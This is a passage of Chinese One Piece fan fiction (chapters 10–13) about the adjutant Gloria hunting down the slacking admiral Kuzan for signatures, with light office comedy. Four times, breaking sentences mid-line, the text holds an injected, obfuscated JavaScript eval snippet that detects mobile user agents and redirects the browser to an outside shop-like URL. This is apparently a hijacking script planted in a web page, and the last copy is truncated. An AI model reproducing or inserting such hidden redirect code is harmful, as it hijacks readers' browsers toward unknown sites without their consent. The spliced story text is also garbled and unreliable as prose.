这是在质疑为什么现在才把文书送过来，如果是一般海军估计早就两股战战了，但歌莉娅不是一般海军，她毫不心虚地抬眸直视萨卡斯基，“青雉大将前阵子忙于其他事物无暇签名确认，还请赤犬大将见谅。” 其他事务＝睡觉，没毛病。 这是她的错吗？显然不是，这一切都是因为库赞摸鱼导致的，要追责麻烦当面去找库赞吧，这是你们大将层面的事情了，和她基层打工人没有关系。 “真是太不像话了。” 室内的温度似乎随着萨卡斯基的话语升高了几分。 对对对！去制裁他吧。 歌莉娅保持着严肃认真聆听的模样，内心疯狂点头表示赞同。 她现在每天辛苦处理完文书还得到处找人签名，库赞一天天不知道跑哪里摸鱼去了，她已经尝试过在屋顶、走廊角落、花园长廊等地方捕获过库赞，现在还在更新解锁更多的地方区域，真难为她大热天还往外跑，让她梦回玩宝可梦天天按坐标捉小精灵的日子，但库赞哪里有小精灵可爱啊！ 然而萨卡斯基说完这句话后就再无下一步动作，显然对这位同僚的摸鱼习以为常，只是习惯性训斥一句。 他在文书上签上自己的名字，将文书重新交回过歌莉娅。 她略带失望的带着文书去寻找下一位大将签名。 黄猿大将统帅着海军的科学部队，出于保密的缘故，他以及他所在的部门在另外一栋办公楼办公，办公楼位于一个遥远的角落。 等歌莉娅顶着太阳穿过被晒得发烫的空地进入科学楼的时候，她的身上已经渗出一层薄汗，额前的碎发湿漉漉地贴在皮肤上。 她掏出纸巾擦了擦额头以及颈项的汗水，整理了一下仪容，将嘴里的硬糖咬了咬才继续往楼上去。 等歌莉娅来到黄猿办公室所在楼层后，远远就看到一个男人用托盘捧着茶具推开门正准备进去黄猿的办公室。 由于办公室门大开，里面谈话的声音很清晰被传了出来。 波鲁萨利诺拿着指甲刀来回蹭着指甲边缘，“还真是稀客呢~库赞君~” 科学楼坐落于本部的角落，平日里基本上是无人问津的，当然也是闲人免进的。 “嘛……就让我在这里待一会吧。” 库赞以放松的姿态半躺在沙发上，他嘴巴大张，一声绵长的呵欠从喉间溢出，脸上的倦意让人觉得他仿佛下一秒就要入睡的样子。 最近他的摸鱼事业遇到滑铁卢，无论他换了多少次地方都能被自己的副官小姐逮到，搞到他睡也睡得不安心了，他也不清楚到底对方是怎么精准找到自己的。 这次他专门来波鲁萨利诺的办公室，这里平日里人烟稀少，他就不信歌莉娅还能找来。 “难不成……是在躲什么人吗~？” 波鲁萨利诺示意副官将泡好的茶放在桌上，意有所指道。 “啊啦啦~学长想得真多，不能单纯来找学长联络一下感情吗？” 库赞抬手接过递过来的茶杯，接过茶杯时视线在副官多停留了一下，如果他没记错的话，这位已经是波鲁萨利诺今年第三任副官。 “当然可以，老夫很欢迎呢～”波鲁萨利诺察觉到库赞的视线，笑眯眯邀请对方，“尝尝，我的副官泡茶的手艺很不错呢~” 库赞礼貌性地抿了一口茶水，比起茶水，他更喜欢咖啡。 “啊……真是不错，谢谢了。” 副官朝他们行了一个军礼才后退两步离开办公室。 “呦~库赞君是喝习惯小小姐泡的咖啡，不喜欢老夫这里的茶水吗？” 副官退出去时推开门，让波鲁萨利诺正好对上门外的歌莉娅的目光，他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16185395|180624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴角勾起一抹玩味的弧度，想看乐子的念头倏忽冒了出来。 “……”波鲁萨利诺的话让库赞陷入沉默，欲言又止好半响才再次开口，“……在办公室是我负责泡的咖啡。” 不止要给自己泡，还要给工作到日渐暴躁的歌莉娅泡。 用歌莉娅的话来说就是没有产出的人不配在办公室呼吸。 大部分时间都在睡觉的库赞：“……” 于是他每天早上唯一的产出就是泡咖啡。 而且自从歌莉娅给他端过一杯加了致死量的糖量的咖啡以后，他再也不敢让歌莉娅帮忙泡咖啡了，生怕下次歌莉娅放的就不是致死量的糖，而是毒药。 他的副官小姐，比他想象中还要有性格。 虽然有的时候歌莉娅并不会明着拒绝他的要求，但会给出的结果都会让他下次再也不敢提出这样的要求。 他背对着门口，并不知道他的副官小姐正凝视自己，他说的任何一句话都有可能被有性格的副官小姐记下来，将来狠狠地报复回来，万幸的是他没有说出来什么让自己后悔的话。 “噗！真不愧是歌莉娅酱~辛苦库赞君了。” “咚咚咚！” 库赞嘴唇动了动，还没有来得及说什么就被敲门声打断，他下意识扭头望去门边，视线恰巧撞入那双熟悉的桃花眼里，桃花眼的主人正面无表情的凝视着他。 “啊啦啦……好巧啊……” 库赞看到歌莉娅的瞬间不由有点心虚，他立即从沙发上坐起，背脊挺直，扬了扬手和对方打招呼。 他实在没想到自己躲到波鲁萨利诺这里还能被歌莉娅找到，对方是有什么监控工具监控着自己吗？ 歌莉娅眯着眼眸盯了库赞一会，她也没想到在这里可以看到库赞，对方果真又解锁了新的摸鱼区域，看来她后面去找人还得扩大范围找。 很好，无形中工作量又增加了。 真是麻烦死了。 她齿尖一用力，硬糖再次在她嘴里碎裂，仿佛要把硬糖当做库赞咬。 歌莉娅没有理会库赞的招呼，她径直走到波鲁萨利诺面前，“黄猿大将，这两份文书麻烦您签名确认一下。” 平日里摸鱼程度唯有库赞能与之一战高下的波鲁萨利诺难得没有让人将文书放下，而是伸手接过来。 他抬眸似笑非笑地观察了一下库赞，又端详了一下歌莉娅脸上的表情，半响过后才漫不经心翻开文书在上面留下龙飞凤舞的签名。 歌莉娅确认了一下文书上面的签名都没有问题，朝波鲁萨利诺低声说了一句打扰后转身快步离开。 还有半个小时就到午休时间，她得赶紧把文书交出去，坚决不能浪费午休时间一分钟给可恶的工作。 “好可怕的表情呢~~库赞君到底怎么惹小小姐生气？”波鲁萨利诺放下茶杯，翘起二郎腿一副好奇的模样，“该不会把工作都推给小小姐了吧？这样可不好呢~” “啊啦啦……唯独不想被你这样子说，波鲁萨利诺。” 库赞挠挠头站起身，迈着长腿就离开办公室，波鲁萨利诺的办公室现在也不安全了。 波鲁萨利诺可是蝉联海军月报【最不想他成为你的上司】第一名多年，他日常只会处理一定份额的工作，除此之外是一点都不做，全是倒霉的副官在完成，在这里工作一年就能拥有两年经验，导致他的副官如同流水一般来了又走。 库赞自认为比波鲁萨利诺好多了，他可是一直都是【最想他成为你的上司】前几名的。 11.第 11 章 “您还有吩咐吗，青雉大将？” 歌莉娅瞥了一眼跟在自己身后的库赞。 “嘛……我正好也回去工作。” 既然都被逮个正着，库赞干脆回去处理一下文书，昨天的文书好像还没有看完。 反正距离午休只剩下半个小时，一旦到休息时间，副官小姐一秒都不会多呆就会去吃饭，就算他继续在办公室睡觉也不会有人管他。 歌莉娅转身回眸有点诧异打量了一下库赞，今天居然是限定版的库赞，这么主动工作的库赞她也就第一天报道的时候见过。 “哦，那麻烦青雉大将把这份文件拿回去吧。”歌莉娅也不和对方客气，将其中一份他们内部存档的文书塞到库赞手里，这样她把文书交出去就可以直接去食堂吃饭，但尽管如此她还是不忘给库赞安排任务，“加急的文书已经放在您的桌面了，请您务必今天处理完。” 想回去睡觉的库赞：“……” “可以做到吧，青雉大将！” 歌莉娅把库赞的沉默当做答应。 她已经发现了，适时给点压力的话库赞这条咸鱼还是能仰卧起坐一下的。 库赞耸拉着眼皮，无语地注视歌莉娅逐渐远去的身影，深深叹了一口气。 昨天的还没有处理完，怎么今天还有啊？ 又是想念梅格的一天，他就不应该那么大气一次性给梅格放了长假休息。 他到底当初为什么要想不开向战国先生申请把歌莉娅调过来啊。 虽然嘴上很抗拒，但库赞身体还是很诚实的处理工作，万幸的是歌莉娅已经将文书处理了一遍，该总结的已经总结好了，甚至给出了几个方案，他只需要在方案ABC中选一个就好了。 等歌莉娅吃完饭回来时，意外发现库赞居然没有睡着，只是顶着一脸倦意支着下巴盯着纸页看，时不时抬手翻页，俨然一副处理工作的模样。 她轻轻的走过去，将手上的东西放在桌面，随手翻了一下，发现被标记为超紧急的已经审批完成，甚至在她的方案基础上又补充了一些要点。 她就知道库赞能当上大将还是有点东西的，怎么可能是一条普通的咸鱼！ “啊啦啦~小姐是来验收的吗？”库赞缓缓地半张嘴打个呵欠，眼角不自觉沁出液体，“这下可以放我睡一会了吧？” 歌莉娅一把揪住库赞想要拉下眼罩的手。 库赞眉间浮起一抹疑惑，没明白歌莉娅这是什么意思。 啊啦啦……该不会是想要他一次性把剩下的文书处理完这么没有人性吧？ 他微张嘴震惊地注视着歌莉娅。 “先吃饭。” 库赞比常人更低的体温从指尖传来，舒适的温度甚至想让歌莉娅更大面积地触碰对方，她压抑住这种过分的想法将手缩回来，扬了扬下巴，示意库赞望向她刚刚放下的饭菜。 刚刚吃完饭，歌莉娅的良心久违的闪现。 既然库赞主动处理工作，她也不好意思让库赞饿着。当然日常的话她才不会管库赞吃没吃饭，一天到晚不知道睡死在哪里，也没人说副官还得管领导三餐的吧？不认真干活的人不配吃饭。 库赞眉峰上扬，眼眸闪过一丝错愕，沉声道了声谢谢后才打开包装。 去食堂吃太麻烦，本来他打算随便在楼下小卖部买点什么凑合一下就算了，倒没想到歌莉娅会给他带饭。 …… 歌莉娅外出回来后就发现办公桌上的冰咖啡杯壁还挂着细密的水珠，丝丝寒气袅袅升腾着，但本应坐在桌前处理工作的库赞却消失不见，而且这一消失就是一个星期，马林梵多已经被她翻了个遍都没找到对方的身影。 她能等，公文不能等，有两份必须大将级别签字才能生效的公文已经是最后一天了，她已经被收发处催了好几次了。 意识到不能再等待不知何时归来的库赞，她只好行动起来找其他大将签名，但她能选择的范围只有黄猿或者赤犬。 比起赤犬，她肯定是选黄猿，好歹两人还有交情。 歌莉娅选择了一个不早不晚的时间过去黄猿的办公室，正好碰上对方正优哉游哉地给自己修理指甲。 波鲁萨利诺故作夸张的“哦呀”了一声，仿佛很惊讶看到歌莉娅的样子，但刻意睁大的眼睛里没有什么波澜，“好久不见呢，歌莉娅酱~” 歌莉娅最近调到库赞手下，一切事物都还在摸索上手当中，上班时间根本没时间摸鱼，八个小时满当当的在工作，等下班的时候她已经精疲力尽，只想回去公寓躺平。 因此她好久没去酒馆喝酒，更别说和波鲁萨利诺碰面。 歌莉娅向波鲁萨利诺解释了来意，小声抱怨了一下库赞不知道去哪里后将手中的公文双手递过去。 “好奇怪呢~小小姐不知道库赞君去哪吗？” “嗯？我知道什么？” 歌莉娅早就听其他海军前辈说过库赞喜欢甩开部下单独一个人行动，时不时自己独自一人消失一段时间不知道去哪，本以为这次库赞也是离开马林梵多去哪里摸鱼，但听波鲁萨利诺的意思似乎不是怎么一回事？ “你知道他去哪了？” 波鲁萨利诺挑眉打量了一下歌莉娅的表情，发现她是真的不知道库赞的去向。 他捏着手中的签字笔漫不经心地转了个圈，“不知道捏~可能又出去溜达了，毕竟库赞君最喜欢出去兜风了~” 他夸张地叹了口气，将公文重新递回给歌莉娅，“哪里像老夫，忙得根本没有空出去玩……” “……” 你老人家到底哪里忙了？是忙着修指甲还是忙着泡茶？ 真正忙的是你的副官吧，外面堆积如山的文书都快把副官埋了。 这段时间足够让歌莉娅摸清楚三大将的工作态度，这三人除了萨卡斯基卷王在世，库赞和波鲁萨利诺两个人摸鱼的程度半斤八两，说什么忙碌都是在搞笑的。 歌莉娅接过公文，咬住嘴唇强忍住吐槽的欲望，好歹波鲁萨利诺给她签字了，还是给给面子吧。 她最终职业假笑道，“辛苦黄猿大将了。” “是挺辛苦呢~”波鲁萨利诺脸不红心不跳接下歌莉娅的夸奖，手指摩挲着茶杯边沿，“歌莉娅中佐也辛苦了……” 他可是很长一段时间没在酒馆碰上歌莉娅了，缺了碰杯的人，酒都要变苦涩了。 “库赞君真是太过分了，把工作都扔给小小姐自己一个人出去玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16197342|180624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ~” “那倒没有全扔，他走之前把大部分紧急的都处理了。” 歌莉娅实事求是地为库赞辩解，她坚信好的上司是能调教出来的，现在的库赞已经比从前好了一点点，她梦一个勤奋工作的库赞也不是不行。 墨镜从波鲁萨利诺的鼻梁滑落，露出他略显惊讶的眼眸。 之前歌莉娅疯狂吐槽库赞的时候可不是这个态度的，这才过去多长时间？ “没想到小小姐和库赞君的感情变得这么好呢~” 察觉到波鲁萨利诺语气有点古怪，歌莉娅眯起眼眸上下扫了对方两遍，然而道行尚浅的她没能从波鲁萨利诺脸上端详出什么。 很快她收回视线，“还真是让人害怕的说法，和上司感情好可不是什么好事。” 歌莉娅垂眸检查了一遍公文，确认没问题才按照流程给波鲁萨利诺行了一个军礼退出去。 赶在期限之前，她终于将公文送到收发处。 收发处的海军打开公文确认了一遍，有点疑惑地问，“怎么是黄猿大将签名的？” “青雉大将外出了，所以由黄猿大将代为签名。” “欸？我今天早上才看到青雉大将呢……” 海军小声喃喃了一句，不过除了签名的人不是青雉大将以外公文没有任何问题，黄猿大将也确实有权限签发，因此很快就将公文签收了。 尽管对方声音很低，但歌莉娅还是听到对方的喃喃自语，她意识到库赞终于回到马林梵多了。 现在提交这份只是最为紧急的公文，不代表其他的文书不着急。 看来她又开始可以出动去捕捉库赞了。 …… 而被歌莉娅念叨着的库赞正双臂交叠枕在脑后，仰躺在楼顶，眼皮半垂着，视线漫不经心地跟随着无拘无束的云朵移动。 短短一周的简单护卫工作让他身心疲惫，只因护卫的对象是居住在玛丽乔亚的天龙人。 每次面见天龙人后的不适感都让他止不住思考海军正义到底是什么？ 他接受成为大将是不是一个错误的选择？ 或许他应该和卡普先生一样，拒绝升任比较好？ “啊……真麻烦，好想变成一朵云……” 库赞发出一声叹息，索性阖上双眸假寐着。 但很快天台的门被推开，他的耳廓捕捉到衣料摩擦的窸窣声、轻盈的脚步声，声音最后停在他的跟前。 于是他不得不睁开双眼往上瞧去，首先闯入视线的是纤细的脚踝和白皙的小腿，白皙的皮肤在日光下泛着细腻的光泽…… 很快，他就发觉不妥，继续将视线往上提，最终落在歌莉娅的脸上。 头顶的阳光太盛让库赞看不清歌莉娅脸上的神色，只能看到模糊的轮廓，但他不需要看得真切就能猜到此刻歌莉娅的神色——绷紧的下颌线、紧握的拳头、周身散发着不悦的气场，显然都在诉说着自己的心情欠佳。 他将头上的眼罩拉下来试图假装什么都没看到——少女仿佛比冰河时代还要冰冷的声音打断了他的动作。 “这不是许久不见的青雉大将吗？”歌莉娅双手抱胸居高临下的轻哼一声，冷笑着注视库赞，“还知道回来？” 12.第 12 章 歌莉娅危险的表情让库赞瞬间觉得不妙起来，一下子没了悲风秋月的心情，心里暗叹一声麻烦。 但好在他并不是毫无准备的——他懒洋洋地坐起身，探入口袋掏了掏，指尖捏着色彩鲜艳的包装献宝一般递到歌莉娅面前。 “这趟任务确实有点久，辛苦小姐处理工作了，我给你带了手信。” “嗯？”歌莉娅愣了一下，重复了一遍，“任务？你去出任务了？” 她愣了一下，蓦地松开紧握的拳头，接过库赞手上的东西，发现是临近岛屿的热带水果硬糖，糖果拿在手上还带着冰冷的温度，看得出来库赞一直随身携带着。 真难为库赞出任务还记得给她带手信，本来打算数落对方的话一下子被咽回去，吃人手软。 “辛苦了，任务还顺利吗？” 正常来说副官都是跟随着长官行动的，库赞出任务的话按道理也是需要带上她的，虽然有点奇怪库赞没有带上自己，但她也不清楚库赞是不是有什么机密任务不方便带上自己，因此没有问出口，只是按流程职业问候一下。 库赞眉头蹙了蹙，并不想多提这趟有关天龙人的任务，“嘛……还行。” “这样啊……”歌莉娅见库赞不欲多提，弯下腰将放在墙角的签字笔和文件重新拿起来，一把拍在库赞的手里，“签吧！” 她正好拿着这几份文件需要领导签名的，干脆顺便让对方签了。 库赞垂眸瞥了一眼封面，看都不看文件内容直接翻到最后，在签名处签下自己的名字，然后递回去给歌莉娅。 “等等，你不看一下是什么东西吗？” “啊啦啦~副官小姐给我签难不成是什么卖身契吗？” 库赞眯了眯眼眸，阳光打在身上让他更加昏昏欲睡，他颓废地想要往后躺下—— “……恭喜你猜对了。”歌莉娅拽了一下库赞的衣袖，阻止他想要重新躺下的动作，“别睡了，给我回去干活，现在距离午休还有一个小时零十七分钟呢！” “别那么严格嘛……”库赞打着马虎眼，无奈地看了看被拽住的衣袖，看来是没办法继续补眠了。 虽然歌莉娅现在不像初时一板一眼，话都不想对他多说那样是件好事，但天天被追着他也吃不消啊，虽然他不讨厌被漂亮小姐姐追着跑，但绝不是这种意思的追着跑。 “上班时间就给我好好上——” “轰隆！” 巨响打断了两人的对话，两人同时下意识扭头望向巨响发出的方向——越过天台栏杆只见楼下一片烟尘滚滚，让人看不清发生什么事情。 歌莉娅皱眉探出头去观察了一下，迟疑地开口，“那个位置是……训练场？” “嗯，大约是哪个学生闹出来的大动静吧……” 库赞手掌撑了一下地面也直起身望向楼下训练场，很快就给出肯定的答案。 这里是他经常来睡觉的地方，他远比歌莉娅熟悉得多，天台这个位置正好能将新兵训练场尽收眼底，时不时就有新兵闹出来动静打扰他的酣睡，但即便如此他还是很喜欢来这里歇息。 等战斗的烟尘散去，训练场现在的模样就显露出来——海军学生们正战成一团，刚刚的动静是由正中央的对战的两人造成的。 “泽法老师还是这么喜欢玩大混战啊……” 歌莉娅是经历过这个阵势的人，只需看一眼就知道下面唱的是哪一出。 她还在海军学校的时候，泽法老师不时就会变着花样锻炼他们的能力，除了日常的基础训练以外，所有你能想到的一对一、多对多、一对多和不同地形的组合等实战通通轮番上阵。 看来她的学弟学妹还是被同一套训练方案折磨着，不过她现在是脱离苦海的人，因此她饶有兴趣地靠近天台边缘，双手撑着栏杆观看着这场混战。 “嘛——毕竟混战才是海军的常态。”库赞也随之靠近歌莉娅，一同围观学生们的战斗。 真正的战斗里可从来没有规则可言，公平的战斗是不存在的，随时有可能面临各种的危险，因此泽法所能做的就是首要的就是尽其所能将他的战斗技巧和经验传授给这群海军的未来，先让他们活下去，后面才是保护平民。 各种声响随着战斗持续了好一会，歌莉娅看得津津有味，甚至还和库赞猜测哪个学生才是最后的胜利者。 “我觉得那个蓝头发拿剑的女孩子不错……” “嘛……不到最后一刻不好说。”库赞摸着下巴给出模棱两可的答案，这一届海军整体素质较上一届还是一般，战斗动作还是不够利落，可以看得出来这群新兵都没有见过血，还是差一点意思。 如同库赞所说，还没有尘埃落定一切都是未知之数。 最终这群学生里面都没有一个能笑到最后，因为训练场上最后还站着的学生被场外的泽法一拳捶进地面，泽法生动给学生上了一课，演绎了什么叫做螳螂捕蝉黄雀在后。 歌莉娅小声嘀咕了一句，“姜还是老的辣。” “战场上的大意可是会送命的！给我记住了，小崽子们！” 泽法猛地拔高音量，怒吼声响遍整个训练场，全场瞬间鸦雀无声，惊得想从地面上爬起来的众人又是身体一软重新趴回去。 歌莉娅作为场外围观群众也身体猛然一怔。 没办法，作为泽法的学生，曾经她也是被捶趴的一员，身体还残留着被痛击的记忆。 等泽法往她这个方向扫视时，她倏地弯腰蹲下用墙体作为掩护体，动作之快让她一下子没稳住身体平衡，整个人往前倾，还好及时用手掌撑在地面才稳住身形。 库赞大方朝泽法扬扬手后才注意到歌莉娅的反应，笑意瞬间从眼底漫开，随即闷笑随着呼吸漏出来，“噗——” 歌莉娅耳边骤然响起低笑声，她下意识扭头——等她发现库赞是在笑话自己后，眼眸瞬间瞪得浑圆，眸里带着几分愠怒，“笑什么笑！我就不信你没被泽法老师打趴过！” 泽法平等地殴打所有人，他们这群菜鸡根本就不是泽法的对手。 尽管歌莉娅从来没问过库赞是否由泽法教授，但海军的精锐尽数都由泽法教导出来，所以不用想都知道对方肯定也曾被泽法“教育”过。 “咳咳！”库赞攥着拳抵在唇边咳嗽了一声，拼命抿着唇试图装着严肃没在笑的样子，但最终还是没控制住笑声从指缝间溢出。 他没想到歌莉娅平时天不怕地不怕的模样，居然怕泽法老师。 “抱歉，抱歉！”他毫无诚意地道歉，慵懒的声线里还带着显而易见的笑意，“我没笑，真的——唔！” 然而库赞没能继续笑下去，他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16210048|180624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胸膛被结结实实捶了一下，强悍如他也没忍住整个人晃了一下，闷哼出声。 他捂着被重击的胸膛，缓了两秒才哑着嗓子抱怨，语气还带着几分无奈，“这力度……小姐你是真没留手。” 呼吸间，胸腔又开始抽痛了一下，“咳咳！下手这么重，是打算再换一个上司吗？” “活该！”歌莉娅晃了晃自己的拳头，眉眼带着几分不羁之色，“你再笑，我还揍！” 瞧着库赞吃瘪的模样，嘴角得意的笑容藏都藏不住。 张扬又鲜活的样子让库赞喉间的话蓦地卡壳了，脑子霎时忘记自己想要说什么，好不容易顺过来的呼吸莫名又乱了半拍，他垂下眼眸举起双手作投降状，好声好气道，“不敢了，还请副官小姐手下留情。” 对此，歌莉娅的回复是一个鬼脸。 …… “这真的不是故意在报复我吗？” 库赞不敢置信地望着眼前堆积如山的文书，随手抽了一份出来，结果就是这个动作让文书堆瞬间倒塌，顺着弧度四散在地板上。 他才离开一个星期，不是一年，怎么可能这么快就这么多文书呢？ “或许您应该问问自己最近干了什么？” 库赞挠挠头，没懂到底是怎么回事，“嗯？我吗？” “这些是战国元帅送过来的，指定让您处理的，让您回来后第二天交到他的办公室去，青雉大将。” 歌莉娅按捺着嘴角上翘的弧度，尽量不让自己看起来幸灾乐祸的样子。 她可是谨遵领导的指示，战国指定库赞完成，因此这里的文书再多都和她没关系。 “战国先生……？” 库赞捂着嘴，似乎终于想起来自己这几天干了什么“好事”。 前两天他护卫的那个天龙人跑了两名奴隶，他消极怠工让那两人跑了，虽然免不了被天龙人一顿责怪，但他并不在乎这些，反正再怎么说他也是大将，政府不会轻易换掉他的。 只是没想到战国元帅还是知道了这件事并且敲打了自己一番。 “唔——” 真麻烦…… 这么大的工作量，就算是他今晚住在办公室也不可能处理完的，但如果不按照战国元帅的要求来，还不知道会发生什么。 老爷子的脾气近来越发暴躁了，不知道是不是卡普先生又去招惹老爷子了。 冤有头债有主，他找卡普先生的孙女来负责也挺合理的吧？ 只是他才刚开口，“副官小——” “战国元帅说让您‘一个人’处理完。”歌莉娅没等库赞说完就直接打断，并且强调【一个人】三个字，“爱莫能助了，我很遗憾，青雉大将。” 库赞耸拉着眼皮盯着歌莉娅眉间带着雀跃之意，嘴角完全抑制不住疯狂上翘的弧度。 他确实看得出来——他的副官小姐是真的对此感到很遗憾。 他抓了抓头发，让本来就像花椰菜的头发更加乱七八糟，“啊啦啦……幸灾乐祸不要太明显了，好歹控制一下嘴角，小姐。” “嘻嘻，加油吧~”歌莉娅终于还是笑出声，她递给库赞一颗硬糖以资鼓励后将自己桌面的台灯关掉后，哼着歌离开办公室，“认真工作的男人最帅了~” “……”真是的，这种帅气他一点都不想要！ 13.第 13 章 * 歌莉娅快步走在前头，回头看到库赞依旧慢吞吞的慵懒模样，气不打一处地跺跺腿又扭头冲到库赞面前，倏忽踮起脚一手强硬地拽住库赞的领带，“你就不能再走快点吗！白长这么长的腿了！” 力道之大，拽得库赞踉跄着往前走了几步。 她平日流于表面的尊敬通通消失不见，脸上只剩下恨不得给库赞两拳的暴躁。 “等、咳咳！” 领带骤然收紧，库赞一下子感觉呼吸困难起来，他的声音被勒得有点支离破碎。 库赞不得不弯腰低下头配合着歌莉娅的动作，只为呼吸一口新鲜空气。 他的身体前倾，视线直直落下，映入眼眸的是那张充满冲击力的脸，那双平日里总是波澜不惊的桃花眼此刻亮得惊人，鲜活得仿佛有一团火焰在燃烧着，那双眼眸注视他时，让他有种被火焰缠绕住，将他燃烧殆尽的错觉。 两人的距离太近了，他熟悉的咖啡香气丝丝缕缕地钻进他的鼻腔里。 他喉结滚了滚，像是被什么烫到一样错开视线。 领带果然勒得太紧了，让他都喘不上气来。 “你到底有没有在听！？” 歌莉娅瞧着库赞心不在焉的模样，火气更加上来，于是用力拽住领带迫使库赞的头颅低得更厉害，然后歪头凑到对方的面前，恼火地盯着库赞一字一句道。 “……！！！” 歌莉娅的突然凑近让库赞猝不及防，远比刚刚更触手可及的距离甚至能清晰瞧见少女脸颊上几乎不可察的毛孔，温热的呼吸混着淡淡的馨香扑过来——他猛地屏住呼吸，喉结急促的滑动了一下。 库赞不自然地清了清嗓子，阖上双眸压下心头涌上来的微妙情绪，“咳咳！在听在听……我知道了，还请小姐放手吧……” 当他重新睁开眼时，神色已经恢复以往的慵懒散漫，他轻轻拉开歌莉娅揪住自己领带的手。 最近的工作压力果然还是太大了，让他都开始对副官小姐想入非非了。 这样不好，无论是卡普先生还是副官小姐的拳头打人都很痛的。 要不还是出去摸鱼一段时间吧。 库赞好不容易冷静下来，不料歌莉娅一把反握住他的手腕，还没等他反应过来就拉起他快步往前冲刺。 “快点！快点！快点！我们已经迟到了！” 歌莉娅就打算午休眯一下补眠，结果没想到这一眯就是两个小时。 等她睁开眼，天塌了！ 战国元帅主持的会议在下午三点召开，她睁开眼墙面时钟指针已经指向两点五十六分，留给她的时间不多了！ 歌莉娅一个鲤鱼打滚从沙发上弹起来，而此时她的上司青雉大将也正睡得十分香甜，可疑的液体从嘴角溢出，她想也不想就“叫醒”对方。 为了赶上会议，歌莉娅一路火急火燎狂奔，而库赞还一副悠闲的模样，她简直要气炸了。 感情就她一个人着急？ 等他们俩赶到会议室外，时间已经来到三点零二分，歌莉娅用见闻色感知了一下，果然会议室就缺库赞，战国元帅和其他两位大将以及相关的中将早就到齐了。 歌莉娅抬手整理凌乱的长发，呼吸均匀后敲响了会议室的门，紧接着退到一边，让库赞率先进入。 库赞比歌莉娅淡定多了，毕竟这不是他第一次睡过头迟到了，他不紧不慢、大摇大摆地推开门走进去，歌莉娅则跟在他的身后，高大的身躯正好把她挡得严严实实的。 最迟进来的库赞全场瞩目，正低头浏览着会议议程的众人同时抬头望向门口处，就连战国元帅也放下手中的笔望向来人。 战国想训斥库赞的话在目光落在库赞脸上时瞬间哑火了，“……” 会议室霎时落针可闻。 “哈哈哈！你小子脸上是怎么回事！” 卡普的大笑打破了寂静，他指着库赞脸上明显的淤青拍着桌子笑得前仰后合，手上的仙贝渣屑甚至甩到战国的面前，被对方嫌弃的瞪了一眼。 “嘛……不小心撞了一下。”库赞拉开椅子坐下，指腹下意识摸了摸下巴，结果碰触到淤青，一下子龇牙咧嘴起来又很快控制住自己的表情，轻描淡写道，“嘶——没什么大不了的。” 波鲁萨利诺终于放下他那个指甲锉，不修自己的指甲，饶有兴趣地将库赞打量了一番，毫不掩饰幸灾乐祸的表情，“好可怕呢~是不小心撞到拳头上去吗，库赞君？” 在座各位都是聪明人，就算不是聪明人，作为长期活跃在战斗第一线人员，是撞伤还是被打伤他们还是能辨别出来的。 歌莉娅蓦地低头，一时间对地砖的纹理十分感兴趣，目不转睛地盯着地板瞧——嗯，会议室的地砖虽然光可鉴人，但看着有些年头了，地砖上的花纹已经被磨平不少，是时候重新更换了。 她异常忙碌地检查着地砖磨损情况，但有些人就是不识趣凑上来。 “库赞君真的太不小心呢~你说是吧，歌莉娅中佐？” “……” 是是是！ 她以前怎么没发现波鲁萨利诺这么贱兮兮的呢？ 这和直接贴脸问是不是她揍的库赞有什么区别！？ 歌莉娅真的不是故意的，她承认喊库赞起床的时候稍微用力了一点点，毕竟不用力的话库赞根本清醒不来，她已经叫了很多声了。 这能怪她？ 不能！谁能想到堂堂大将居然躲不开她的拳头，高手不应该闭上眼都能避开攻击的吗？这就中招了？就算中招了，怎么就这么容易淤青了呢？他的脸皮不应该很厚吗？ 要怪还是怪库赞吧。 吾日三省吾身，吾没错。 于是她扯了扯嘴角，皮笑肉不笑地抬眸注视着波鲁萨利诺，非常捧场地回应对方，“您说的太对了，黄猿大将。” 紧接着扭头面向库赞，一副贴心好下属的模样，温声细语道，“下次还请多加小心，青雉大将。” 只要她不尴尬，尴尬的就是别人。 库赞：“……” 他确实得小心，小心“贴心”下属的拳头。 “咳咳！够了！”战国给了歌莉娅一个警告的眼神，清了清喉咙将人众人注意力拉回来，“开会！” 歌莉娅火速退到会议室一旁的旁听区，旁听区坐着好几位副官，黄猿和赤犬的副官也在其中。 两个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 